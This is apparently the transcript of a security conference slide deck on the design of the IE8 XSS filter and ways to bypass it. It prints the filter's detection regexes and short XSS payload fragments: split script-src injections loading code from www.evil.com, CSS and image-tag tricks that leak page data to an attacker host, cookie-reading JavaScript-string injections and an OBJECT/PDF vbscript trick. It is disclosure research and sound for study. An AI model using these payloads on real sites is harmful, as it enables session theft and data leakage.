The document discusses the goals and design of the IE8 XSS filter, which aims to block cross-site scripting attacks. It outlines scenarios that are protected, such as injections into HTML tags and JavaScript strings. It then describes several ways to potentially bypass the filter, such as using fragmented injections across multiple parameters, HTML-only injections, and same-site navigation checks. The document provides technical details on the filter's heuristics and how certain encoding tricks may allow escaping its rules.
2. About Me SIFT http://www.sift.com.au/ Independent information security services Alex Kouzemtchenko [email_address] R&D Team Lead & Associate Focus on Offensive Security Research Internet Hardman & Conference Mercenary in another life
3. Disclaimer This talk is presented from the adversary’s point of view This isn’t meant to be a diss on Microsoft or David Ross The XSS Filter is a step in the right direction XSS attacks which don’t take it into account will fail Lifts the bar higher, RC1 even blocks huge chunks This talk is specifically about the IE8 Beta 2 and IE8 RC1 filters While I’ve been in communication with Microsoft about these issues, I don’t know what the final release will look like, most of these should hopefully be fixed
4. Agenda XSS Filter Goal & Rationale Filter Design & Overview Protected & Un-Protected Scenarios Some Implementation Details Bypasses for various scenarios Where the filter is effective Summary
5. XSS Filter Goals & Rationale XSS is the most reported bug class today Even in frameworks which do a lot to protect apps Still common, even in well known and audited sites “ Type-1 XSS flaws … are increasingly being exploited “for fun and profit.” ” – David Ross One of the easiest vulnerabilities to exploit Known by every beginning hacker out there Nice avenue for attacks if you’re willing to sacrifice your pride Mass-exploitation has begun – IFRAME SEO Poisoning http://ddanchev.blogspot.com/2008/03/massive-iframe-seo-poisoning-attack.html The XSS Filter aims to make these vulnerabilities unexploitable in IE8
6. XSS Filter Goals Must not “break the web” The XSS Filter must be compatible. The XSS Filter must be secure. The XSS Filter must be performant. The compatibility goal explains a lot of the decisions made in the creation of the filter
7. Protected Scenarios ‘ Type-1’ / ‘Reflected’ XSS still the most common Input comes in and gets outputted in the http response body unsanitised Three main scenarios Unfiltered injection outside a tag <div>$injection</div> Unfiltered injection inside a tag <input value=“$injection”> Unfiltered (or semi-filtered) injection into a javascript string <script> var a = “$injection”; … </script> Third scenario particularly hard to solve at the framework level without breaking things The XSS Filter seeks to fully mitigate all of these scenarios on the client
8. Un-Protected Scenarios Persistent / Type-2 XSS DOM-Based / Type-0 XSS Fragmented attacks Unsanitised parameter names are outputted e.g. Site prints whole query string, or 404 page prints page name http://site/ page.jsp ?’”><script>alert(1)</script> Unsanitised HTTP Headers are outputted Particularly interesting for headers we can easily control E.g. Referer header Header Injection
9. Enabling / Disabling the XSS Filter Per-Zone on/off switch exists in zone settings XSS Filter disabled in the intranet zone by default Probably best to enable it unless it breaks things Enabled for all other zones Filter can be disabled on a per-site basis using a HTTP response header: X-XSS-Protection: 0
10. XSS Filter Logic Flow Flow Chart stolen from http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx
11. Navigation to HTML? Filter shouldn’t trigger on non-html content, as it will probably break things if it does Largely outside our own control If something isn’t detected as html, it’s not protected Only relevant if someone comes up with some xss techniques which apply to the xml renderer, or similar Flash-based XSS not affected Largely a non-issue since the filter checks for a reflection, but could become important in later versions
12. Same Site? Same site navigations ignored to speed everything up Our best target for a bypass If a site allows us to inject links, when those links are followed, the navigation will be same-site, and therefore not protected Hence forums, blogs, wikis, etc are not protected Flash-based links (clickTag) works too Frames work much the same way, but are automatic Frame injection not too uncommon, especially on apps with ‘help’ sections Demo
13. Same Site? In browser attacks are not the only option Links opened from other applications could lead to XSS Email clients, IM programs, document handling programs (Word, etc) Links opened by plugins could lead to XSS Opening links in named frames in particular, has lead to same origin policy bugs in Flash in particular, e.g. CVE-2007-6244 External application attacks largely mitigated due to a null origin is considered cross-site More complex interactions with the browser have the possibility to be considered same-site
15. Heuristic matches against GET/POST #2 {[amp;quot;'][ ]*(([^a-z0-9~_:'amp;quot; ])|(in)).*?(((l|(u006C))(o|(u006F))(c|(u0063))(a|(u0061))(t|(u0074))(i|(u0069))(o|(u006F))(n|(u006E)))|((n|(u006E))(a|(u0061))(m|(u006D))(e|(u0065)))).*?{=}} {[amp;quot;'].*?{)}[ ]*(([^a-z0-9~_:'amp;quot; ])|(in)).+?{(}} {[amp;quot;'][ ]*(([^a-z0-9~_:'amp;quot; ])|(in)).+?{(}.*?{)}} {[amp;quot;'][ ]*(([^a-z0-9~_:'amp;quot; ])|(in)).+?(([.].+?)|([[].*?[]].*?)){=}} {(v|(&[#()=]x?0*((86)|(56)|(118)|(76));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(b|(&[#()=]x?0*((66)|(42)|(98)|(62));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()=]x?0*((83)|(53)|(115)|(73));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()=]x?0*((67)|(43)|(99)|(63));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()=]x?0*((82)|(52)|(114)|(72));?))}([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()=]x?0*((73)|(49)|(105)|(69));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()=]x?0*((80)|(50)|(112)|(70));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()=]x?0*((84)|(54)|(116)|(74));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()=]x?0*((58)|(3A));?)).} {(j|(&[#()=]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()=]x?0*((65)|(41)|(97)|(61));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(v|(&[#()=]x?0*((86)|(56)|(118)|(76));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()=]x?0*((65)|(41)|(97)|(61));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()=]x?0*((83)|(53)|(115)|(73));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()=]x?0*((67)|(43)|(99)|(63));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()=]x?0*((82)|(52)|(114)|(72));?))}([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()=]x?0*((73)|(49)|(105)|(69));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()=]x?0*((80)|(50)|(112)|(70));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()=]x?0*((84)|(54)|(116)|(74));?))([t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()=]x?0*((58)|(3A));?)).} Not an exhaustive list! Working on one by hooking the URL checking function Send me an email if you need it
16. Heuristic matches against GET/POST Only GET/POST are searched, and only individually Hence we have all the unprotected scenarios Notice the regexes like this: ? {<sc{r}ipt.*?[ /+t]*?src[ /+t]*=} Specifically the ones that come in two parts Won’t match on page.do?param1=<script+¶m2=src%3dhttp://www.evil.com/ So if we can split the injection into two parameters, we can bypass the signatures
17. Heuristic matches against GET/POST But sometimes two injection points may not be needed to evade the filters ASP/ASP.NET merge duplicate parameters page.asp?param=<script+¶m=+src%3Dhttp://www.evil.com/> param becomes <script , src=http://www.evil.com/> when ASP uses it IIS also supports uncommon encoding in urls, namely %uNNNN Attacks can be encoded using unicode encoding, and bypass filters Many PHP applications call stripslashes() on all input gets decoded to a null byte which is ignored by IE, can be inserted everywhere to avoid signatures Custom applications do their own decoding (EBay’s Qencoding)
18. Heuristic matches against GET/POST All is not lost MS applies specific transforms to deal with all scenarios other than the last Thank Ronald Van Den Heetkamp for arguing for the stripslashes() transforms Lesson here is: Don’t use custom encoding on the parameters you accept, or you will not be able to take advantage of the filter’s protection However, if we find an injection not covered by those regexes, we win
19. Signature Match Against the Body When a signature matches against GET/POST params, a new regex is generated, like this: (<ob{j}ect((.?)|(..)|(...)|(....)|(.....)|(......))classid=) That string of dots, etc is inserted instead of some safe characters, e.g. spaces, braces, etc This is then applied to the body Of course, as mentioned before, if any non-whitespace related encoding/decoding is done, then these will not match
20. Neuter Characters The character in the middle braces {<is{i}ndex[ /+t>]} Is replaced with a ‘neuter character’ (#) <isindex> becomes <is#ndex>
21. Intro’s over - Lets talk Bypasses What works? Fragmented Injections HTML-Only Injections Same Site Check Bypass via GET JavaScript-based tricks for injections into JavaScript strings Unfiltered injections into HTML Stripping data that isn’t actually attacker controlled What’s safe? .NET Attribute injection
22. Fragmented Injections Possibly the filter’s biggest limitation In some cases there is more than 1 injection point on the page Not necessarily both unfiltered If any data after an unfiltered injection point is controlled, then we only have to put some of our injection into the unfiltered parameter Demo No plans to stop this
23. HTML-Only Injections XSS Filter mostly only stops script injection One exception is the form tag HTML Injection is still dangerous CSS Injections <style>input[value^="a"]{background:"http://evil/style.php/ends/a";}</style> Unclosed Image Tags <img src=“http://evil/ <sensitive data> <a href=“ Other HTML Injection tricks exist, but they don’t apply here
24. Same Site Check Bypass via GET Remember how we realised that if we can control links in forums, wikis, etc, we can bypass the same-site check? Me and Cesar Cerrudo independently realised that if we have an XSS bug, we can already inject links Furthermore we can style them to take up the whole page, etc We can even use clickjacking attacks to do it from our own domain Demo
25. JavaScript-based tricks for injections into JavaScript strings Injections into javascript strings stopped from executing functions, however assignments are still allowed: "+document.cookie+“ useful when you can leak the var somehow ";user_input=document.cookie;// ";user_input=sensitive_app_specific_var;// “ &&”string2” Replaces string before it; not perfect for assignments due to operator precedence Location = “whatever“?name:” Useful for document.location=“<injection>” Props to David Lindsay for coming up with this variant ";escape=eval;//
26. Unfiltered injections into HTML The filter is very good as a whole, and the regexes which it uses are great Missed one tiny corner case OBJECT tag *usually* requires either a type or codetype or classid or code attribute These are all blacklisted data attribute usually just says where the OBJECT should get it’s data from IE also does extension sniffing
27. OBJECT Extension Sniffing <object data=“some.pdf”> will load some.pdf Doesn’t seem to work with any other extension handlers, e.g. .swf Only loads PDFs from the same domain Got stuck here for a month <object data=anything_at_all.pdf><param name=src value=http://www.evil.com/xss.pdf> Loads the pdf from our site PDF uses getURL(“vbscript:payload”); Can’t use javascript, since that’s blocked Demo time!
28. Stripping data that isn’t actually attacker controlled The XSS Filter has no way of determining of whether something was actually reflected or not So anything which fits one of the regexes can be neutered by an attacker We can strip some interesting things: Meta tags which specify the charset (thanks 80sec!) Limited use in IE8 due to charset sniffing changes, may still be relevant JavaScript frame-breakers and other JavaScript blocks Makes clickjacking possible even when sites have implemented defences Demo Could potentially break context-sensitive filters script tags normally useless inside style tags, but if we break the style tag...
29. Summary Upgrade your users to IE8 and enable the filter for the intranet zone if you can The filter is close, very close to killing a whole lot of XSS If this is important to you, tell Microsoft, it might make the difference between it being fixed now, or in IE9 When used together, ASP.NET Request Validation & IE8’s XSS Filter are not bypassable
31. Examining and Bypassing the IE8 XSS Filter Alex Kouzemtchenko [email_address] Thanks to David Ross, et al for making something fun to play with
32. References – MS Design Info http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx http://blogs.msdn.com/ie/archive/2008/09/29/statistical-validation-of-the-ie8-xss-filter.aspx
33. References – Bypass Tricks http://nomoreroot.blogspot.com/2008/08/ie8-xss-filter.html http://www.80sec.com/ie8-security-alert.html http://www.0x000000.com/?i=634 (dead link ) http://kuza55.blogspot.com/2008/09/ie8-xss-filter.html (comments at the bottom are good) http://www.securitylab.ru/analytics/363593.php http://www.securiteam.com/windowsntfocus/6Z00C15NFW.html